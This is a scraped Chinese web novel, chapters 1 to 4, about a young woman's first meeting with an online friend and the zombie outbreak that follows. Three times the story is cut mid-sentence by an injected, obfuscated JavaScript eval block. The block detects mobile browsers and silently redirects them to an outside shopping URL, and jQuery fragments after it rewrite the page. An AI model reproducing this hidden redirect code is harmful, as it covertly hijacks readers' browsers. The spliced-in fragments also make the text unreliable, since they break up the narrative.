《网恋奔现后世界末日了》 1. 第 1 章 “外面冷吗?” 一向不怎么在意装扮的余秋,难得站在衣橱前认真挑选衣饰。 搁在一旁桌上的电话里传出一道悦耳的男声,“气温和昨天差不多,但起风了。” 公路两旁行道树的树梢大幅度摇摆,刚才过桥时能明显感觉到车子受到了横风的影响。 相比路上疾驰的其他车辆,这辆外表蓝灰色的SUV倒显得有些不紧不慢、不疾不徐了。 驾驶座上的人单手持方向盘,脚下稍微松了一点油门,放慢车速后将车窗降下三分之一。 立刻有风卷了进来,不知从哪儿飘来的淡淡桂花香气掠过鼻尖,细嗅却又不见踪迹。 不久前还艳阳高照的天空在十分钟前忽地暗了下来,但空气干燥,不似有雨。 将车窗升回去,宗爻掉至额前的那缕碎发停止晃动,他对着电话里说:“最好穿一件外套。” 电话那头,一只伸向镂空针织罩衫的手顿住,手腕抬高,拿起了一件浅米色的薄款风衣外套。 选好了衣服,余秋一边解开家居服的衣扣,一边问:“你还要多久?” 那边响起模糊的导航语音提示声,片刻后,电话里的人答道:“刚下城际快速,大约半小时后到。” 余秋解扣子的手指顿时加快了速度。 男声很快补充了一句:“但是不急,你慢慢来就好,我等你。” 第一次见面,总归不好迟到的。 余秋伸手拿起手机,“那就这样,你到了再打给我。” “OK。” 手指伸向红色的挂断键,却听里面又传来一声呼唤,“余秋。” “嗯?” “我有点紧张。” “不要紧张。”余秋敷衍了一句,很想快些挂断电话换衣服。 电话里的声音变得很轻,“我很期待。” 这道声音本就好听,刻意放轻之后简直像是情人在耳边深情的呢喃。 余秋忍不住勾了勾唇角,“那就,待会儿见。” “待会儿见。” 电话终于挂断。 余秋站在全身镜前穿衣服。 先穿内衣,然后是一件标准领的白色衬衫。 她套上风衣后退两步看了看,觉得跟平常上班的穿着没多大区别,又脱掉换了一件V领的浅灰色针织打底。 打底衫柔软贴肤,衣领处露出一点锁骨,削弱了一点她身上快腌入味儿的牛马气息。 半小时确实有点赶,余秋一边懊恼着自己昨晚不该晚睡,一边又默默提醒自己不要太当回事。 连网恋的关系都没有确认,只是普通的网友面基而已。 说不定网传的见光死今天就要轮到自己了......应该不会吧? 换好衣服就轮到化妆。 余秋坐在几乎要落灰的梳妆台前,有些犯难。 她很少化妆。 镜子里映出的那张脸,皮肤洁白无瑕,五官精致漂亮,眉毛黑,鼻子翘,嘴唇粉,下巴尖,除了眼神略显冷淡之外,看起来几乎没什么需要修饰的地方。 但眼神该怎么修饰呢? 最后她戴了一副美瞳。 在门口穿鞋的时候电话铃声响起,她的“网恋对象”已经快到小区门口了。 “我马上下来。”余秋说了一句就打算挂断。 对面的人提醒她,“我穿的米白色外套。” 米白色?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343021|199449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 余秋低头看了看自己的风衣,想回去换掉,又觉得麻烦,最后细长的眉毛一拧。 算了。 她打开门,穿过长长的走廊来到位于楼栋中间的电梯间。 就在余秋等待电梯上升时,蓝灰色的SUV停在了路边。 车门打开,一条修长的腿先跨了出来,随后是一颗明显抓了发型的黑色脑袋。 下车后男人就近站在了车边。 “好高。”一个路过的女孩侧目,对同伴说道。 与她同行的女孩目光斜斜看过来,压低了声音说:“而且好帅。” 头一个女孩动作有些鬼祟地凑近同伴,“就是阴天戴墨镜,有点装。” “不会是哪个明星吧?” “肯定不是,哪个明星开这种车啊?” 两人说着话渐渐走远。 “......”哪种车? 宗爻对着贴了防窥膜的车窗照了照,伸手把脸上的墨镜取了下来,打开车门随手丢进车里。 他好看的眉眼里带着一分不易察觉的激动,一瞬不瞬地看着对面小区的大门。 余秋隔着小区门口的道闸,一眼就看到马路对面的那道身影。 第一印象是高挑、瘦。 但随着她渐渐走近,发现他又没那么瘦。 米色外套里穿了一件灰色的高领毛衣,底下是一条黑色的休闲裤。 余秋低头看了一眼,和她有点撞色。 她脑子里还在细品这一点奇异的巧合,对面的人已经率先打了招呼。 不是传统的开场白,而是一句—— “过马路不要走神,很危险。” 余秋:“......” 2. 第 2 章 装修素雅的餐厅里放着有格调的轻音乐。 以屏风隔开的半开放式隔间里,余秋夹了一根芦笋虾仁里的芦笋送入口中。 “你很瘦。”对面的人说。 余秋礼貌地回复,“你也不胖。” “多吃点蛋白质。”男人用干净的筷子给她夹了一颗虾仁。 余秋唇角微勾,看似笑着,心里已经有些不耐烦了。 她脾气不坏,就是不太喜欢和陌生人往来,尤其讨厌这种互相之间装模作样,仿佛带着面具对话的社交方式。 按理说宗爻应该知道这一点,所以从一开始就是他主动的。 主动地靠近她,主动地在她面前展示自己。 像一只对人类友好的摇着尾巴真诚又热烈的小狗。 ——也可能是大狗。 但总之不是现在这样,说礼貌又有些冒昧,说疏离又有些亲近的样子。 怎么?见个面而已,她那积极主动开朗活泼的小朋狗,就变得这么矜持了? 她还以为他会冲上来抱住自己,结果他却像接待客户一样冲她伸出了右手。 开什么玩笑,面基又不是面试,握手她自有人选! 对面的人还在客气,把手机递过来:“你说要陪我转转,我提前搜了附近的几个景点,都是下午能够往返的,你选一个?” 余秋没有接,目光在那只骨节分明的手上停顿片刻。 她没什么兴致地摇摇头,“你选吧,我都可以。” 气氛尴尬了一秒,对面的人收回手,把手机锁屏放在一旁,“那等吃完饭再商量。” 后半程两个人都很安静,隔间里只剩轻轻的咀嚼声。 食不知味的吃完这顿煎熬的午餐,余秋内心不由怀疑,自己是不是不该一时冲动答应这次会面? 到底是她没有做好准备,还是网友面基就是这样尴尬? 不。 她更愿意把责任归到别人身上。 比如对面这个人,就完全不像在网络上那般活跃、聒噪。 虽然两人在今天之前没有分享过照片,约定见面之前也没有语音通过话。 但只从文字来看,他明明就是一个和现在表现的完全不一样的人。 没这么彬彬有礼,也没这么淡然。 明明见面前半小时还在说着期待,结果就期待成这个鬼样子? 那他也太懂得克制了。 习惯一个人的余秋没有与人相约游玩的经验,所以这个下午对她来说,简直度秒如年。 傍晚车子开回小区时,余秋内心狠狠松出一口气。 折磨就要结束了。 “那我回去了,你路上小心。”虽然表情看不出来,但她这句话说的确实有些迫不及待。 说完便解开了安全带,手放在了副驾驶的车门把手上。 她以为对方会礼貌的点头说‘好的’,谁知他却叫出了她的名字。 “余秋。” ? 余秋回头,微蹙的眉头显露了一丝不耐。 “我还约了一个朋友,今晚会住在章城,明天下午才离开。” 那又怎样?和她有什么关系? 不待余秋询问,他已经主动说了出来,“如果你明天还想见我的话,我们可以一起吃午饭。” 余秋面上却显得有些为难。 “不巧,明天我也约了朋友。”她撒了谎。 “好吧。”男人的脸上露出一点失落来,轻声说:“那就下次再约。” 余秋没有应,只说:”再见。” 她打开车门,转身离去。 宗爻没有下车,只是降下车窗,看着她径自走进小区大门。 她高挑纤细的身材裹在米白色的大衣里,走路的姿势很好看,步履从容。 秋风席卷,她的衣摆被吹动,散在肩头的发丝飞扬。 近处有人被突如其来的一阵风迷了眼,惊呼出声。 路上的行人接连望去,她却连头也未曾偏一下。 她走得那么专心致志,一场秋风无法阻拦她的脚步,路上行人无法惊扰她的节奏,甚至没有回头看上一眼。 没有看路人,也没有看他。 真奇怪——和他想象中有些不一样。 天色渐暗了。 视野里再也没有她的身影。 宗爻升起车窗,启动车辆。 左侧的车窗玻璃映出他的脸,眉如墨画,目若朗星,着实是一副好样貌。 从小到大被无数人夸赞过的一张脸,本以为能在今天派上用场,谁知道...... 是惹她讨厌了么? 青年内心轻叹一声,表情却平静如常,看不出丝毫沮丧。 没关系,他会继续努力的。 * 又一阵风吹来,秋意随风钻进大衣衣领,余秋步伐未乱,走进公寓楼的一楼大厅。 按下电梯,她看着红色数字随楼层跳动,有些出神。 本来,对于这次见面,她是有些期待的。 两人虽是在网络上认识,却已经相识数载。 那年她还在读大二,网络里的世界很热闹,但对她来说,却和现实世界一样的清冷。 她不喜与人交际,从小到大连一个至交好友都没有。 就连亲人,也...... 对于忽然闯入她的世界,像个热情的小狗一样到处乱窜,冒昧又无礼的男生,她从一开始的排斥转为接纳。 需要承认的是,她无聊的生活确实需要一点调剂,并且与这个人的接触只局限于线上,不会打扰到她安静的现实生活,她很满意。 两个人一起玩游戏、聊天,她从不透露自己现实中的情况,对面也并不追问。 这个网名叫寒江的男生很好的恪守着网友的规矩,却又总是对她展现出超乎寻常的热情。 她喜欢这种热情。 像在网上养了一只小宠物,会打字撒娇,偶尔闹人,还从不惹她生气。 只是...... 她去年毕业进了实习过的公司,这个和她同岁的网友似乎也找到了不错的工作。 然后他就不怎么找她玩游戏了。 那也没什么,不玩游戏可能是因为工作忙,其实她也挺忙的,并没有很想玩游戏。 但是他找她聊天的次数越来越少,从一开始一天24小时的任何时间段都有可能收到来自他的消息,到后来只有早上和晚上会聊上几句。 再到后来......他很长时间不找她了。 人与人之间的关系是这样的,一旦脱离了某个环境,可能就会迅速转变,有些会变好,有些会再无联系。 余秋懂,但她还是有些不高兴。 她没有删除聊天记录的习惯,偶尔、非常偶尔的,她会点开两人的聊天框看一看。 上一句还停留在他说的那句晚安,余秋没有回复,从两人相识之初,就一直是他在负责聊天的结尾句。 但是第二天没有准时收到他的“早上好”。 为什么?这次有什么不一样么? 余秋向上滑动一点,寒江说他久坐腰很疼,如果不用上班还有钱花就好了。 余秋建议他多干活,少做梦。 这不是很正常的对话? 难道是她太冷漠了?没有关心他的腰? 余秋曾短暂的陷入自我怀疑,不过很快又释然了。 她一直是这样的,甚至最初还要更加冷漠一点,既然他以前没说过她有问题,那就不是她的问题。 是他变了! 男人是这样善变的,很正常。 余秋这样告诉自己之后,删除了那个聊天框,再也没有试图打开。 没想到的是,半年后,这个聊天框居然再次弹了出来。 那天早上余秋醒来,照例一一消去手机上并不重要的红点,红点有来自工作群的,也有来自同学群的,总归不会有私人消息。 因为她现实中几乎不与任何人产生私交。 轮到微信,她点开第一个红点,还在疑惑工作群怎么一夜过去才只有两条消息,随后才看清那个熟悉的头像。 寒江说:早上好。 下一句是:抱歉,生活中出了一些事,很长时间没有联系你,能原谅我么? 余秋手指颤了颤,手机滑落到被子里。 她起床洗漱,穿衣,赶地铁。 直到坐在工位上,用一个小时处理完平时一上午的工作,终于无事可做的她才再次拿起手机,在聊天框里打下一个“嗯”。 她没有追问他出了什么事需要消失半年,他也没有主动解释。 两人又恢复了联络。 只是他忽然变得成熟了。 不会再动不动撒娇,也不会偶尔抱怨生活或工作,还是每天给她发早上好和晚安,但说话的语气却有些陌生了。 说到底,还是变了。 三年相处中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343022|199449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 形成的熟络与默契,被这断联的半年给摧毁了。 “叮。” 电梯在16楼停下,余秋走出电梯间,长长的公寓走廊两边房门交错排列。 楼外天光黯淡,灯光照亮了空无一人的走廊。 这个小区的房子隔音都不太好,在平时,余秋走过一扇扇房门,会听到一个个房间里传出的声音。 1610经常有游戏音效声,她出门时碰到过,里面住着一对小年轻情侣,男的有点胖,女生常噘着嘴。 1608是单亲妈妈带两个孩子,余秋偶尔会听见她崩溃的吼声,也遇到过她避开孩子,在走廊里给家人打电话,带着泣音问:“你们除了逼我还能干什么?谁也不会来给我搭把手,只会怪我让你们丢了面子!” 1605好像是个宅男,常常有外卖垃圾放在门口,负责这栋楼的保洁很喜欢他家,因为垃圾里有很多饮料罐子...... 余秋停下脚步,掏出钥匙打开1603的门,进门前扭头看了下走廊尽头,玻璃窗外的天色愈加阴暗,像在酝酿一场大雨。 她想,今晚要关好阳台的窗。 这个念头暂时打断了她的思绪,她反锁房门,随手把钥匙放在鞋柜上。 换上拖鞋走进客厅,外套也没脱,就那样瘫在沙发上,余秋不自觉又皱起了眉头。 在恢复联系一个月后,寒江提出了见面。 他说两个人认识三年了。 又说他目前所在的台城离章城也不远。 还说......他很想见她一面。 不喜欢说话的人尤其爱多思。 余秋想起他消失的半年,想起他聊天风格的变化。 或许他的生活真的发生了翻天覆地的变化,或许......他病了? 三年的陪伴,她终究是在意的。 所以她答应了。 她没想到寒江对于这次见面如此在意。 他向她确认了时间、地点、还有流程。 他在微信上的话也多了起来,偶尔会冷不丁发过来一个章城周边的景点,问她想去这里,还是那里。 甚至还问她要不要先看一看他的照片。 两个人认识三年,他从来没问余秋要过照片。 虽然偶尔会撒着娇问一些“你好不好奇我的长相”“我个子很高哦,你要不要猜一下?”之类的话,但他确实没有强迫她和他交换照片。 甚至两人的第一次通话,还是昨天。 当时余秋刚洗完澡,手机在沙发上响起铃声时,她吓了一跳,想不到谁会在周五下班后给她打微信电话。 当她一手挽着湿发一手拿起手机,看到来电界面上的头像时惊讶的不得了,犹豫了好久才在铃声即将进入尾声时按下接通。 那是她首次听到寒江的声音。 像她偶尔失眠时会听的一个深夜电台主播,好听到像是经过录音设备精心的调试。 他的声音很健康,交流时思维清晰,逻辑合理,不像她猜测的那样生了病。 那他为什么想见自己呢? 余秋忍不住问了出来。 “因为想看到你,只有用眼睛看到,才会觉得真实。”寒江是这样回答的。 他说这句话时的语调很奇怪,像在压抑着什么。 余秋的心揪了起来。 那一瞬她幻视了一只小心翼翼靠近一个泡影,生怕不小心戳破后彻底失去的脆弱小狗。 他不会喜欢我吧? 余秋这么想着,不知为何并不讨厌。 ......可能是因为从来没有人需要她,现在终于有了。 天彻底黑了。 余秋从沙发上起身,打开了客厅的灯。 同一时间,伴随着明亮的灯光一同出现的,是一道消息提示音。 她知道是宗爻,掏出手机后顿了顿才解锁。 寒江:我到酒店了。 余秋在聊天框输入一个“好”字,发了出去。 中午吃的不多,她有点饿了。 翻箱倒柜才找到一盒即将过期的泡面,去厨房烧水之前,她先关紧了阳台的窗。 外头的风更烈了。 睡前两人互道了晚安,依旧寒江结尾。 余秋放下手机,隐约觉得有什么地方不对。 半晌,她猛地睁眼。 是了,她应该是看过寒江的照片的。 跟今天见到的人完全不一样的照片! 3. 第 3 章 余秋见过寒江的照片。 是两人相识一年左右时发生的事。 那时寒江开玩笑的问她想不想知道他长什么样子。 余秋当然说不想。 但两人当时在玩的那个枪战游戏是需要组队的。 有一次寒江拉了一个高中同学一起玩,那同学不知是不是误会了他们俩的关系,打完游戏后主动添加了余秋好友,还称呼她为嫂子。 余秋之所以同意那个好友申请,就是为了解释自己和寒江不是网恋关系。 寒江的那个同学火速向她道歉,从此就在她的列表里躺尸了。 这只是一件小事,余秋没有跟寒江提起。 她不确定他知不知道他的同学误会了他们的关系,并且加了她好友。 总之,有一天她闲极无聊点开了朋友圈,恰好看到那位同学凌晨两点在朋友圈发了高中的班级合照,配文:长大后,再也回不到曾经的单纯。 一看就是半夜喝多了。 余秋本没有兴趣点开那张照片,可她看到了寒江的评论。 寒江:老子还是这么帅哈,跟你们不像一个图层的。 有这么夸张? 鬼使神差的,余秋点开了照片。 短暂的加载后,她一眼看到了最后排中间的那个男生。 不但高出两边的人半个头,还又白又嫩。 五官说不上多漂亮,但只冲这个头和皮肤,确实把一个班的人都比了下去,连女生都没他白。 可不管再白,再嫩,照片里那个人,跟她今天见到的这个人也没有丝毫相似之处。 而那张照片里也没有任何一个人和今天见到的这位‘寒江’有相似的地方。 消失半年,难道他去整容了?? * 这一觉睡得很沉,纷纷杂杂做了七八个梦。 梦境凌乱,嘈杂,吵得余秋醒来时都皱着眉。 身上有些黏腻的感觉,她在睡梦里出了一身的汗。 鼻尖嗅到的空气凉凉的,有些浓重。 空气怎么能用浓重两个字形容? 思维凝滞,头痛欲裂,余秋抬手摸了摸额头。 她发烧了。 房间里黑漆漆一片,窗帘的遮光效果太好,她有些分不清时间。 想要拿起床头柜上的手机看一眼,手还没伸过去,铃声乍起。 工作之外的时间,很少有人打电话给她,突然响起的铃声对于这间卧室来说太过陌生,令余秋内心升起一股不适的感觉。 像是有人闯入她的私人空间一样,被冒昧打扰的不适。 她眉头皱得更紧,伸出莫名发酸的胳膊摸过手机,并从正躺改为了侧躺。 身体变得无比沉重,连握在手里的手机都仿佛变重了。 但屏幕上的亮光好歹令房间里不那么漆黑了,她眯着被光线刺痛的眼,看向来电显示。 是宗爻。 “喂?”余秋被自己嗓音的沙哑吓了一跳,胸腔里心跳声剧烈,仿佛要破体而出,蹿到天花板上去。 “余秋,你在哪里?”宗爻声音焦急。 余秋轻咳两声,回答:“在家,刚睡醒。” “听我说,千万不要出门,在家里等我,告诉我楼栋号和房间号,我已经在路上了,马上就到你小区。” “出什么事了?”余秋从他的语气中听出不对,她退出通话界面,看到一大堆未接来电。 宗爻的声音和今日的空气一样沉重,压抑着什么情绪一般:“余秋,世界末日了。” 余秋刚睡醒的脑袋好像还没启动,让她一时间无法理解这句话的意思。 宗爻是她现实中见过声音最好听的男生,声线温柔又稳定,抛开其它不谈,起码他的声音在她这里可以打满分。 可是现在,他一向稳定的声音带着细微的,不知是激动还是恐惧所造成的颤抖。 也很好听。 余秋回味了一瞬,才反应过来什么叫世界末日了。 她想说不要乱开玩笑。 但是好像按了暂停键的音频被再次启动一般,那在她梦里频频出现过的惊叫声忽然炸响。 余秋手一抖,手机掉落在枕头上。 尖锐的女声像是要划破这片宇宙,声嘶力竭地喊着救命。 惊慌,恐惧,绝望。 余秋无法分辨这声音是从窗外传来的,还是从门外传来的,她才平复的心跳又急促起来,话筒里宗爻“喂?”了一声,显然还在等她的回应。 她木木地道:“七栋,1603。” 宗爻说:“等我,我很快就到。” 电话挂断,余秋看了眼时间,上午8:43。 点开未接来电,从七点半开始,每隔几分钟一个来电。 都是宗爻,没有别的人打来。 点开微信,入目一整页都是群聊。 工作群,大学校友群,高中同学群,不管是活跃的,还是常年没有动态的群聊,全都炸开了锅,消息99+,聊天记录还在不断刷新着。 刚刚的惊叫不知何时停了,社恐人看到这恐怖的微信界面,才有了‘外面天塌了’这种感觉。 她点开一个最后一条消息是‘报警电话还是打不通!’的群聊,满屏的惊慌撞入眼帘。 不断往上拉着,略过一张又一张血腥可怖的图片,她看到了源头。 七点,哺乳期的话痨同事周日也起得很早,她喂完孩子,拉开窗帘,什么也看不到。 外面灰蒙蒙一片,她想打开窗户看看,刚开了一条缝儿,浓稠的灰雾犹如实质般挤进来,吓得她立马重新关上窗,在摸鱼群里问:外面的雾怎么回事?好吓人! 二十分钟后,她在群里发:这雾还不散,我都不敢开窗了。 又十分钟后,她说:雾忽然散了,我们楼下有个女的叫的好惨,谁家一大早在家暴,我要报警了! 群里陆续有了回应,好几个人说听到附近有尖叫声。 他们一边猜测着,一边说暂时不敢出门了。 甚至还记得庆幸一下今天不用上班。 直到一个人在群里发了张图片,图片里是一个面色发青,大张着嘴,露出一口獠牙,神色狰狞姿态狂暴的中年女人。 她穿着朴素的居家睡衣,头发随意挽在脑后,趴在厨房的玻璃门上,扒着门的双手指甲暴长,在白炽灯光下显出不详的黑。 明明是一个人,却让看到的人脑中浮现怪物两个字。 余秋不知为何打了个哆嗦,她点开图片下紧接着的那条语音。 还在实习期的年轻男同事用气音说着:我妈天天这么早起来做饭,周日也不让我睡个懒觉,好不容易今天不是她叫醒我的,我被外面的声音吵醒,一打开房门就看到我妈在厨房里,我喊了一声,她转过头就是这个样子,还对着我嘶吼,我好害怕啊,下意识就把厨房的玻璃门锁上了,这锁扣还是...... 语音时长到了,又自动播放下一条,他声音颤抖着,接着说:这锁扣还是我外甥女刚学会走路那会儿装的,大人做饭的时候,怕她跑来跑去跑进厨房被烫着,还好,还好有这个锁扣,要不然我妈扑过来咬我怎么办......她现在的样子好像电影里的丧尸啊......我好害怕,我爸在外地,家里就我们两个人,打120也打不通,我该怎么办啊...... 余秋被这声音里的恐慌无助感染,起床时就隐隐作痛的脑袋更加疼了。 后面的聊天记录杂乱起来,许多人像无头苍蝇一般说着身边的怪事,试图在现实孤立无援时,能够在群体中找到抱团取暖的人。 “叮。” 手机收到信息,是一条全国推送,省去了平时诸多客套礼貌用语,简练的可怕。 ‘全球范围遭遇未知病毒袭击!感染者嗜血狂暴,无差别攻击撕咬任何活人,请所有民众远离已经被病毒感染的患者,不要试图施救!幸存人员请紧闭门窗自行躲避,不要出门!不要出门!’ 未知病毒......嗜血狂暴......无差别攻击...... 余秋两侧太阳穴忽然如同遭遇重击,头痛欲裂,疼得她咬紧牙关,喉咙里仍溢出一声闷哼。 “叮铃叮铃......”手机初始铃声又响起来,上面宗爻的名字闪烁着。 余秋看了眼时间,9:02。 她按下接通,电话里宗爻压低了声音,轻声道:“我到了,开门。” 余秋放下手机,手肘撑起身体准备起床。 这时她才发现,不止头痛,她还全身无力,四肢酸软,看来烧得不轻。 费劲地下了床,她拖着沉重的身体打开卧室门,客厅里更加冷,冰凉的空气像蛇一样缠裹住她裸露在外的皮肤。 余秋打了个寒颤,扶着墙挪到门边,透过猫眼往外看。 宗爻还穿着两人见面时那套衣服,昨天打理很好的头发如今有些乱了,他站在走廊里,微微喘着气,向左侧着头,目光警惕。 他左手提着一个袋子,右手握着不知道什么东西上面拆下来的一节钢管,手机在他上衣口袋露出一个头,显然是刚放进去的。 他手中的钢管上粘着厚厚的血迹,他的身上也满是飞溅上去的血。 余秋不知道他来的路上经历了什么,她紧抿着唇,握着门把手,目光一瞬不瞬地看着猫眼里的宗爻,手却迟迟没有动作。 门外的宗爻似有所感地看向猫眼,他的眼神仿佛还带着战斗的余韵,冷冷的,锋利的,与他温和清隽的长相格外不符。 余秋心下一突,后退半步。 两秒后,余秋定了定神,再次凑向猫眼。 宗爻向右移动了半米,钢管横在身前,摆出戒备的姿势。 余秋听见走廊传来拖沓的脚步声,她目光斜向左侧,那是宗爻面对的方向。 几米外出现一只青白的手,然后是胳膊。 一张獠牙狰狞的可怖脸庞骤然出现在余秋的视野内! 余秋喊了一声“宗爻”,手下飞快的扭开反锁键,按下门把手。 门开了一半,宗爻已经迅速贴着门缝挤了进来。 男人高大的身躯骤然出现带来了难以言喻的压迫感,余秋忍住后退的冲动快速锁上门。 ‘砰’,先是一只手拍在门上,然后是一整个身躯。 猫眼被青白的面孔占据了,外面的怪物嗅着门内活人的气息,躁动着,一下一下撞着门。 腐臭味顺着门板下方的缝隙钻进来,臭得人忍不住屏息。 门外巨大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343023|199449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撞击声像是一个信号,余秋听见走廊远处传来又一道脚步声。 是她的犹豫导致的! 余秋知道自己为什么没有立刻开门。 那是孱弱的女人面对攻击性十足的男人时,发自本能的畏惧。 他们之间在现实中还没有建立起信任关系,她不能确认对方的目标是怪物还是她。 在此之前,她甚至还没亲眼看到过那些怪物,它们还只存在于手机里,存在于别人口中! 余秋听到布制的袋子触地的声音。 身后贴上来一具温暖却带着血腥味的身躯,一道温热的鼻息落在她耳边,血腥气中多了一丝薄荷牙膏的清凉味。 在浑身战栗中,余秋听见男人压低的声音。 他说:“这样不行。” 哪样? 宗爻:“不能让它继续撞下去,会吸引来别的丧尸,我得出去把它解决掉。” 余秋内心咀嚼着丧尸两个字,用气声问:“怎么解决?” 她感觉到男人在身后抬起了手中钢管,回答她:“我有武器。” 她说:“我们退去卧室。” “不行的,它们对活人的感知很敏锐。” 男人左手从身后伸过来,轻敲了敲她面前的门板,说:“时间太久的话,这样的木门挡不住的。” 仗着小区安保好,小区内用来出租的公寓房都是图美观的木质大门。 平常还好,当下看来却实在不算牢靠。 自身后伸出的手没有收回去,这个姿势像把她半搂在怀里。 这个人很没边界感,难道是自来熟? 不像,没那么活泼。 余秋没有回头看他,目光朝前,落在他敲击门板的指节上,咬牙:“我和你一起。” “不用,我能搞定。”男人声音莫名温柔下来,“你往里站一点,关门的动作要快,等我喊你开门再开,好不好?” 明明是询问的语气,余秋却从里面听出十足的强势。 这是个看起来温和,实际上很强硬的男人。 没有太多时间争论,余秋抿着嘴应了下来。 她左手压着门把,右手控制反锁键,快速的打开门。 提前后退两步的宗爻在她开门的瞬间伸出钢管,手下一个用力,将扑进来的丧尸戳回走廊,大步一跨,跟着出了门。 余秋紧接着将房门锁上,紧张的喘着粗气,透过猫眼往外看。 宗爻已经用钢管将那只丧尸抵在走廊对面的墙上。 他力气很大,那只丧尸拼命挣扎,短时间内却无法脱离钳制。 余秋看到宗爻握着钢管的右手上青筋凸起,指节因用力而泛白,看着劲瘦的手腕原来有着这样强大的力量。 只是一只手,就能完全压制住一只疯狂挣扎的丧尸。 他空着的左手从腰间抽出另一把武器,体型不大的消防破窗锤,金属锤头无声地划破空气,重重落在丧尸的脑袋上。 “咔嚓。” 随着一声清脆的断裂声,丧尸脑袋瘪下去一大块,挥舞的双手瞬间垂落下去,布满红丝的青白眼球还大睁着,却再无声息了。 余秋屏着的一口气还没呼出来,余光就看到走廊左边又出现一道蹒跚的身影! 她隔着门板喊了一声:“宗爻,左边!” 宗爻握锤子的左手刚卸了力,右手的钢管还抵在丧尸身上。 听到余秋的呼声,他手下立刻变幻动作,钢管还未收回便直接往左边一横,同时身体左转,刚好架住了那只抓向他的手。 丧尸锐长的指甲乌黑反光,看起来像含着剧毒。 谁也不知道被抓挠一下会造成什么后果,见到宗爻挡住了攻击,余秋狠松一口气。 等到宗爻像杀死第一只丧尸那样,将第二只丧尸也抵在墙上敲碎了脑壳,余秋才觉出自己刚才几次忘记呼吸,憋的胸口闷疼。 门外宗爻没有立刻喊她开门,而是目光警惕地扫视两边走廊。 余秋的视线落在倚在墙边的两具尸体上。 第一具......是1610的男生。 小情侣两个还在上学,周末有时候会出去玩,有时候就在出租屋里打游戏,余秋偶尔路过1610时,会听到两个人边打游戏边拌嘴的声音。 她想起在床上听到的女性尖叫声,看着男生脸上的血,和獠牙边挂着的碎肉...... 此刻,官方短信上说的嗜血狂暴终于在余秋眼里具象化了! 她一阵反胃,赶紧将视线转移到另一具尸体上。 是一个中年男人,有些面熟,大概是住在走廊另一侧的。 两具尸体除了脑袋上宗爻造成的伤,其余部位肉眼可见并没有任何外伤。 余秋猜测着他们是怎么变成这样的,视线忽然被挡住,宗爻面对着猫眼,敲了敲门。 余秋的视线于是落在宗爻脸上,他刚经历一场剧烈的战斗,亲手击杀了两个......丧尸。此刻面色如常,只是些微有些喘息。 若忽略他手中的武器以及身上的血迹,就像大学里帅气又稳重的温柔学长一样,整个人看不出一丝异常。 可这不正是最异常的么? 余秋狠狠咬了下唇又松开,双手微颤着拧开门把。 4. 第 4 章 宗爻挪动鞋柜,横向堵上房门。 短暂的精神紧绷过去,骤然放松,余秋感到一阵眩晕。 她的后背抵在玄关的墙面上,努力站着,使自己不至于像被吓到一样瘫软在地。 宗爻堵完门,回身看到她潮红的脸,目露关切:“你生病了?” “好像是。”余秋苦笑,病的真不是时候。 “我看看,发烧了么?” 他的手伸过来,要摸她额头,动作自然的像关爱她的长辈。 余秋稍微偏头,下意识躲避。 再回视,就看到宗爻的手停在半空,似乎他自己也意识到了不妥,及时停下了。 余秋垂下眼,道:“有体温计。” 注视她几秒,宗爻点头:“我先扶你到沙发上。” 不好再拒绝,她也实在没有自己走动的力气,只能应道:“好。” 余秋靠在沙发上,看宗爻洗了手,听她的指挥去找来体温计给她。 在她量体温的间隙,宗爻从门口拿来他提着的布袋,在余秋脚边打开。 他蹲在地上,一件件的往外掏东西,问她:“还没吃饭吧,厨房能用吗?我记得你平时都在公司食堂吃,在家就点外卖,是不是家里没菜?米有没有?米都没有?那你昨天晚上吃的什么......泡面?” 余秋倚在沙发上,随着他的问话或点头或摇头,一个字没说,已经把宗爻给气到了。 他满脸的不赞同:“怎么这么不会照顾自己!” 有人这样琐碎地关怀自己,平时的余秋应该会有些感动的。 以往对于寒江微信里的关心,她确实会感觉到温暖。 可是现在,余秋静静看着他,忽略身体的不适,只看内心,竟一片平静。 她不知道自己怎么了。 世界一夜之间产生了翻天覆地的变化,这扇不甚牢固的门外危机重重。 而她在此时病了,浑身无力,头疼欲裂。 如果不是这个男人义无反顾的到来,一个又一个电话吵醒了沉睡的自己——她会怎么样呢? 她大致看了几个群聊,许多人提到了外面的浓雾。 追溯时间,竟持续了一整晚。 校友群里的人如今散落天南海北,身在国外的也不少。 而如此遥远的跨度下,这么多城市竟然都出现了浓雾,余秋不得不相信了官方短信上所说的——全球范围。 而后,七点半,雾散了,丧尸随之出现。 病毒是藏在浓雾里的吗? 如果是的话,人们是如何感染的呢? 